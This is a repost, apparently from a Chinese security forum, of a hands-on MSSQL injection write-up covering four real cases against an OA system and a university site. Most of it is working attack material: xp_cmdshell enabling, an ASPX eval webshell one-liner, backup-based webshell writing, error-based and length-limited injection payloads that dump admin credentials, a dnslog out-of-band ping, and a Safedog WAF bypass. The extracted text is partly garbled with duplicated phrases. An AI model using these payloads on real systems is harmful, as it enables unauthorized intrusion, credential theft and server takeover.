搜索

[7616] 2021-06-11_经验分享mssql注入实战总结之狠快准绕

文档创建者：s7ckTeam
浏览次数：83
最后更新：2025-01-17
2021-06-11_经验分享mssql注入实战总结之狠快准绕 经 验 分 享   |   m s s q l 注 入 实 战 总 结 之 狠 快 准 绕 原 创   C h a l l e n g e r   F 1 2 s e c   2 0 2 1 - 0 6 - 1 1 前 言 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 用 s q l m a p 是 没 有 灵 魂 的                                                                       — - c t f . s h o w 本 次 用 4 个 有 趣 的 实 战 案 例 来 分 别 讲 : 狠 – 常 见 g e t s h e l l 快 – 快 速 报 错 注 入 准 – 字 符 长 度 1 0 0 限 制 下 注 入 绕 – 绕 福 某 大 学 安 全 狗 虽 然 只 有 4 个 实 战 案 例 ， 但 真 的 挺 实 用 、 通 用 哦 ， 当 然 此 次 都 是 站 在 前 辈 肩 膀 上 实 践 总 结 的 可 能 还 不 够 全 ， 如 有 分 析 不 足 的 地 方 望 各 位 大 佬 指 正 ！ 文 章 由 F 1 2 s e c 团 队 师 傅 C h a l l e n g e r 创 作 。 已 发 布 于 先 知 社 区 。 已 发 布 于 先 知 社 区 。 实 战 一 这 是 一 次 挖 到 一 个 小 O A 系 统 的 通 用 管 理 员 弱 口 令 ， 后 台 可 以 执 行 s q l 语 句 并 且 是 s a 权 限 ， 这 运 气 没 谁 了 哈 哈 但 可 以 去 e d u 刷 分 的 大 部 分 目 标 x p _ c m d s h e l l 却 废 了 . 只 能 恰 个 弱 口 令 … … . 先 说 可 以 x p _ c m d s h e l l 部 分 ： x p _ c m d s h e l l 写 s h e l l 技 巧 : 条 件 ： s a 权 限 ， 常 见 问 题 ： x p _ c m d s h e l l 存 储 过 程 在   S Q L   S e r v e r   2 0 0 5 以 后 默 认 关 闭 ， 需 要 手 动 开 启
# 开 启 方 法 开 启 方 法           e x e c u t e ( ‘ s p _ c o n f i g u r e   “ s h o w   a d v a n c e d   o p t i o n s ” , 1 ’ )     # 将 该 选 项 的 值 设 置 为 1           e x e c u t e ( ‘ r e c o n f i g u r e ’ )                                                           # 保 存 设 置           e x e c u t e ( ‘ s p _ c o n f i g u r e   “ x p _ c m d s h e l l ” ,   1 ’ )                       # 将 x p _ c m d s h e l l 的 值 设 置 为 1           e x e c u t e ( ‘ r e c o n f i g u r e ’ )                                                           # 保 存 设 置           e x e c u t e ( ‘ s p _ c o n f i g u r e ’ )                                                         # 查 看 配 置           e x e c u t e ( ‘ x p _ c m d s h e l l   “ w h o a m i ” ‘ )                                         # 执 行 系 统 命 令 或 者 或 者           e x e c   s p _ c o n f i g u r e   ‘ s h o w   a d v a n c e d   o p t i o n s ’ , 1 ;                       r e c o n f i g u r e ;                                                                                       e x e c   s p _ c o n f i g u r e   ‘ x p _ c m d s h e l l ’ , 1 ;                                             r e c o n f i g u r e ;                                                                                     e x e c   s p _ c o n f i g u r e ;                                                                           e x e c   x p _ c m d s h e l l   ‘ w h o a m i ’ ;               e x e c   m a s t e r   . . x p _ c m d s h e l l   “ p i n g   d n s l o g ” 上 面 执 行 开 启 命 令 后 ， 执 行 一 下     w h o a m i           ， s y s t e m     权 限 ， 直 接 起 飞 ！ 写 s h e l l 技 巧 : # 先 找 网 站 根 路 径 ： 先 找 网 站 根 路 径 ： 直 接 写 入 a s p x 文 件 同 目 录 却 访 问 不 了 ， 麻 了 ！ 问 了 一 下 t a r i 师 兄 ， 他 说 ： 估 计 做 了 和 s p r i n g b o o t 类 似 的 路 由 映 射 ， 但 静 态 文 件 的 目 录 可 能 不 会 走 路 由 .         访 问 路 径 如 下 e x e c   x p _ c m d s h e l l   ‘ w h e r e   / r   d :   * . a s p x ’ ;
故 再 找 根 路 径 下 绝 对 静 态 可 解 析 路 径 ： 写 s h e l l ， 这 里 也 需 要 注 意 一 点 ， d o s 对 尖 括 号 < > 会 报 错 ， 所 以 需 要 用 ^ 转 义 一 下 ， 或 者 e c h o   " 一 句 话 一 句 话 "   >   h a c k . a s p x   用 双 引 号   然 后 倚 天 大 剑 ( 蚁 剑 ) 连 接 h t t p : / / x . x . x . x / l o g i n / l o g i n / x x . a s p x 即 可 . 其 它 其 它 g e t h e l l 大 全 大 全 : （ 看 偶 像 （ 看 偶 像 柯 大 佬 的 总 结 柯 大 佬 的 总 结 ） ） 剩 下 不 可 以 x p _ c m d s h e l l 的 , 但 其 它 大 多 g e t s h e l l 方 法 ( 这 里 可 以 看 柯 大 佬 的 珂 技 知 识 分 享 的 总 结 ) , 都 没 法 用 . 其 它 大 多 方 法 前 提 条 件 都 是 ： S Q L   S e r v e r   2 0 0 8 不 可 用 ， S Q L   S e r v e r   2 0 0 0 可 用 因 为 我 这 版 本 是 S Q L   S e r v e r   2 0 0 8 不 可 用 ， 吐 了 ~ ~ 于 是 只 好 备 份 g e t s h e l l 备 份 备 份 g e t s h e l l : ( 至 少 至 少 D B O 权 限 权 限 ) l o g 备 份 ( 推 荐 ) : 优 势 ： 优 势 ： 1 、 重 复 性 好 ， 多 次 备 份 的 成 功 率 高 2 、 相 对 于 差 异 备 份 而 言 ， s h e l l 的 体 积 较 小 利 用 条 件 ： 利 用 条 件 ： 1 、 前 提 得 知 绝 对 路 径 ， 并 且 可 写 2 、 站 库 不 分 离 3 、 数 据 库 必 须 被 备 份 过 一 次 e x e c   x p _ c m d s h e l l   ‘ w h e r e   / r   D : O A   * . j p g ’ ;   e c h o   ^ < ^ % @   P a g e   L a n g u a g e = ” J s c r i p t ” % ^ > ^ < ^ % e v a l ( R e q u e s t . I t e m [ “ y ” ] , ” u n s a f e ” ) ; % ^ > ^   > d : x x x x . a s p x
差 异 备 份 的 条 件 差 异 备 份 的 条 件 : 1 、 前 提 知 道 绝 对 路 径 ， 路 径 可 写 。 2 、 H T T P   5 0 0 错 误 不 是 自 定 义 3 、 W E B 和 数 据 在 一 块 。 还 有 的 就 是 数 据 库 中 不 能 存 在 % 号 之 类 的 ， 不 然 也 是 不 成 功 的 。 4 、 数 据 量 不 能 太 大 小 结 ： 小 结 ： 备 份 g e t s h e l l 这 一 般 对 p h p 和 a s p 有 用 , 注 意 a s p 备 份 生 成 的 文 件 经 常 有 没 有 闭 合 的 问 题 ， 但 a s p x 我 暂 时 没 找 到 成 功 例 子 我 这 是 a s p x 的 2 种 备 份 都 试 了 ， 但 因 为 备 份 后 会 插 入 多 个 s h e l l 如 下 导 致 ： < % @   P a g e   L a n g u a g e = x x     % > 出 现 多 次 ， 报 错 : 只 能 有 一 个 p a g e 指 令       试 了 闭 合 和 其 它 方 法 不 行 ， 如 有 大 佬 成 了 ， 可 指 教 一 下 ， 小 弟 将 不 胜 感 激 ！ 实 战 二 m s s q l 报 错 注 入 很 方 便 ， 但 柯 大 佬 也 没 完 善 总 结 ， 我 试 了 几 种 方 法 ， 这 里 快 速 报 错 最 快 ， 且 在 之 后 的 手 工 注 入 很 实 用 注 册 一 个 账 号 但 要 审 核 ， 如 上 图 消 息 里 得 到 账 号 规 律 ， 对 后 4 位 数 爆 破 ， 成 功           0 0 x x x x x       1 2 3 4 5 6 ; a l t e r   d a t a b a s e   库 名 库 名   s e t   R E C O V E R Y   F U L L - -     ; c r e a t e   t a b l e   数 据 库 名 数 据 库 名 . . 表 名 表 名 ( a   i m a g e ) - -           / / 建 表 建 表 ; i n s e r t   i n t o   数 据 库 名 数 据 库 名 . . 表 名 表 名 ( a )   v a l u e s   ( 0 x 一 句 话 木 马 一 句 话 木 马 ) - -           / / 插 入 一 句 话 木 马 到 表 中 ， 注 意 插 入 一 句 话 木 马 到 表 中 ， 注 意 1 6 进 制 进 制   ; b a c k u p   d a t a b a s e   数 据 库 名 数 据 库 名   t o   d i s k   =   ' c : w w w p a n d a . b a k ' - -                     / / 先 手 动 给 数 据 库 备 份 一 遍 先 手 动 给 数 据 库 备 份 一 遍   ; b a c k u p   l o g   数 据 库 名 数 据 库 名   t o   d i s k   =   ' c : w w w p a n d a . a s p '   w i t h   i n i t - -   / / 利 用 利 用 l o g 备 份 到 备 份 到 w e b 路 径 路 径 g e t s h e l l ; b a c k u p   d a t a b a s e   库 名 库 名   t o   d i s k   =   ‘ c : b a k . b a k ’   ; – -         / / 先 手 动 备 份 一 次 先 手 动 备 份 一 次 ; c r e a t e   t a b l e   数 据 库 名 数 据 库 名 . . 表 名 表 名 ( a   i m a g e ) – -           / / 建 立 表 ， 加 字 段 建 立 表 ， 加 字 段 ; i n s e r t   i n t o   数 据 库 名 数 据 库 名 . . 表 名 表 名 ( a )   v a l u e s   ( 0 x 一 句 话 木 马 一 句 话 木 马 ) – -           / / 插 入 一 句 话 木 马 到 表 中 ， 注 意 插 入 一 句 话 木 马 到 表 中 ， 注 意 1 6 进 制 进 制 ; b a c k u p   d a t a b a s e   库 名 库 名   t o   d i s k   =   ‘ c : s h e l l . a s p ’   w i t h   d i f f e r e n t i a l   ,   f o r m a t   ; - -   / / 进 行 差 异 备 份 进 行 差 异 备 份
然 后 登 录 后 台 ， 在 某 处 发 现 s q l 注 入 ： / / 闭 合 成 功 闭 合 成 功 # 查 当 前 数 据 库 用 户 ， 结 果 不 是 查 当 前 数 据 库 用 户 ， 结 果 不 是 s a # 不 死 心 ， 执 行 一 下 不 死 心 ， 执 行 一 下 c m d s h e l l 但 权 限 果 然 不 够 #   1 . 查 其 它 数 据 库 名 查 其 它 数 据 库 名   ， 如 下 图 ， 如 下 图 : 直 接 和 联 合 查 询 差 不 多 ， 快 直 接 和 联 合 查 询 差 不 多 ， 快 # 2 . 查 指 定 数 据 库 下 的 表 查 指 定 数 据 库 下 的 表 # 3 . 查 指 定 表 字 段 查 指 定 表 字 段 # 4 . 查 指 定 数 据 查 指 定 数 据         # 查 查 u s e r n a m e         # 查 查 a d m i n 的 的 p a s s w o r d 实 战 三 最 近 十 二 师 傅 给 了 个 m s s q l 的 s q l 注 入 ,   用 户 名 处 可 注 入   ， 但 这 s q l 注 入 很 烦 … 验 证 码 刷 新 无 法 绕 过 U s e r s / x x . a s h x ? I D = 0 0 ' )   a n d   1 = 1   - - + ' )   a n d   1 = c o n v e r t ( i n t , u s e r _ n a m e ( ) )   - - +   1 ' ) / * * / ; / * * / e x e c / * * / m a s t e r   . . x p _ c m d s h e l l   / * * /   " p i n g     x x . d n s l o g . c n "   - - + ' )   a n d   1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t   q u o t e n a m e ( n a m e )   f r o m   s y s . d a t a b a s e s   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - + ' )   a n d   1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t     q u o t e n a m e ( n a m e )   f r o m   数 据 库 名 . s y s . o b j e c t s   w h e r e   t y p e = ' U '   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - + ' )   a n d   1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t   q u o t e n a m e ( n a m e )   f r o m   数 据 库 名 . s y s . c o l u m n s   w h e r e   o b j e c t _ i d = o b j e c t _ i d ( ' 表 名 ' )   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - + ' )   a n d   1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t   q u o t e n a m e ( U S N M )   f r o m   表     f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - + ' )   a n d   1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t   q u o t e n a m e ( P S W D )   f r o m   T _ U S E R   w h e r e   U S N M = ' a d m i n '   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - +
而 且 还 前 端 加 密 … … … . . 单 引 号 报 错 ， 闭 合   1 ’ / * * / a n d / * * / 1 = 1 - - +         ， 立 马 用 上 面 的 快 速 报 错 大 法 ： # 1 . 查 当 前 用 户 名 ： （ 非 查 当 前 用 户 名 ： （ 非 s a ) # m s s q l 默 认 支 持 叠 堆 注 入 ， 但 没 有 权 限 默 认 支 持 叠 堆 注 入 ， 但 没 有 权 限 x p _ c m d s h e l l # 查 其 它 数 据 库 名 查 其 它 数 据 库 名 # 查 指 定 数 据 库 下 的 表 查 指 定 数 据 库 下 的 表 1 ' / * * / a n d / * * / 1 = c o n v e r t ( i n t , u s e r _ n a m e ( ) )   - - + 1 ' / * * / ; / * * / e x e c / * * / m a s t e r   . . x p _ c m d s h e l l   / * * / " p i n g   x x . d n s l o g . c n " – + 1 ' / * * / a n d / * * / 1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t   q u o t e n a m e ( n a m e )   f r o m   s y s . d a t a b a s e s   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - + 1 ' / * * / a n d / * * / 1 = c o n v e r t ( i n t , s t u f f ( ( s e l e c t     q u o t e n a m e ( n a m e )   f r o m   数 据 库 名 . s y s . o b j e c t s   w h e r e   t y p e = ’ U ’   f o r   x m l   p a t h ( ' ' ) ) , 1 , 0 , ' ' ) ) - - +
可 惜 好 景 不 长 … … … p a y l o a d 没 用 了 猜 测 长 度 限 制 了 ， 输 了 n 个 无 害 的 1 1 1 1 1 1 1 1 1 1 1 1 … . . 也 是 如 下 这 样     “ 非 法 登 录 ” 最 后 发 现 限 制 了 长 度 为 1 0 0 ， 这 T M 玩 c t f 麽 ？     细 心 的 会 发 现 快 速 报 错 大 法 和 其 他 常 见 的 长 度 都 超 了 1 0 0     这 里 是 登 录 处 故 可 以 用 以 下 查 ： # 当 前 表 名 和 列 名 当 前 表 名 和 列 名 嘿 嘿 得 到   表 名 ： U s e r s   列 ： n i d     拼 接 类 似 如 下 ， 只 能 得 到 当 前 s q l 语 句 里 的 表 和 列 继 续 使 用 上 一 个 所 得 到 的 值   U s e r s . n i d 来 递 归 获 取 所 有 的 名         # 得 到 得 到 U s e r s . s y s u s e r I d 继 续 使 用 上 继 续 使 用 上 2 个 ， 递 归 获 取 个 ， 递 归 获 取       # … . . 多 个 递 归 ， 最 后 得 到 多 个 递 归 ， 最 后 得 到 U s e r s . U s e r P w d     和 和 U s e r s . U s e r N a m e     再 不 出 来 就 超 再 不 出 来 就 超 1 0 0 长 度 了 长 度 了 e m m m   # 查 字 段 内 容 查 字 段 内 容 得 到 账 号 t e s t , 加 密 的 密 码 ， m d 5 查 不 出 ， 估 计 加 盐 了 '   h a v i n g   1 = 1 - - +     '   g r o u p   b y   U s e r s . n i d   h a v i n g   1 = 1 - - '   g r o u p   b y   U s e r s . n i d , U s e r s . s y s u s e r I d   h a v i n g   1 = 1 - - '   g r o u p   b y   U s e r s . n i d , U s e r s . s y s u s e r I d , U s e r s . R o l e I d , U s e r s . R o l e T y p e , U s e r s . U s e r N a m e   h a v i n g   1 = 1 - - 1 '   a n d   1 = ( s e l e c t   t o p   1   U s e r N a m e   f r o m   U s e r s )   - - 1 '   a n d   1 = ( s e l e c t   t o p   1   U s e r P w d   f r o m   U s e r s )   - -
不 死 心 查 第 二 个 , 用 上 个 递 归 ， 得 到 t e s t 1 # 递 归 查 账 号 递 归 查 账 号   # 查 查 t e s t 1 密 码 密 码 最 后 麻 了 密 码 居 然 和 上 个 账 号 t e s t 一 样 然 后 盲 猜 有 a d m i n 账 号 发 现 得 出 的 密 码 不 一 样 ， 但 M D 5 还 是 解 不 出 绕 绕 – 绕 福 某 大 学 安 全 狗 绕 福 某 大 学 安 全 狗 这 次 是 F e n g X o n e 师 傅 给 的 福 某 大 学 s q l 注 入 ， 感 谢 F e n g X o n e 老 表 ， 但 有 w a f 为 安 全 狗 1 '   a n d   1 = ( s e l e c t   t o p   1   U s e r N a m e   f r o m   U s e r s   w h e r e   U s e r N a m e ! = ' t e s t ' ) - -   1 '   a n d   1 = ( s e l e c t   t o p   1   U s e r P w d   f r o m   U s e r s   w h e r e   U s e r N a m e = ' t e s t 1 ' ) - - 1 '   a n d   1 = ( s e l e c t   t o p   1   U s e r P w d   f r o m   U s e r s   w h e r e   U s e r N a m e = ' a d m i n ' ) - -
登 录 后 台 某 处 有 s q l 注 入 ， 逐 个 字 符 f u z z 了 一 波 得 到   p a y l o a d : 数 据 库 名 ： x x x             因 为 挖 s r c 不 像 攻 防 演 练 ， 注 出 库 就 可 以 上 报 了 ， 主 要 还 是 菜 … . . 然 后 f u z z 是 得 到 p a y l o a d ： 居 然 可 以 爆 出 大 量 敏 感 信 息   6 6 6 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！     经 验 分 享   |   渗 透 笔 记 之 B y p a s s   W A F     什 么 是 H T T P 和 H T T P S     实 战   |     B Y P A S S 安 全 狗 - 我 也 很 “ 异 或 ” 右 下 角 求 赞 求 好 看 ， 喵 ~ I D = 1 % 1 e o r % 1 e 1 % 3 d d b _ n a m e   ( ) % 1 e - - I D = 1 % 2 0 o r % 2 0 1 = 1 - -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理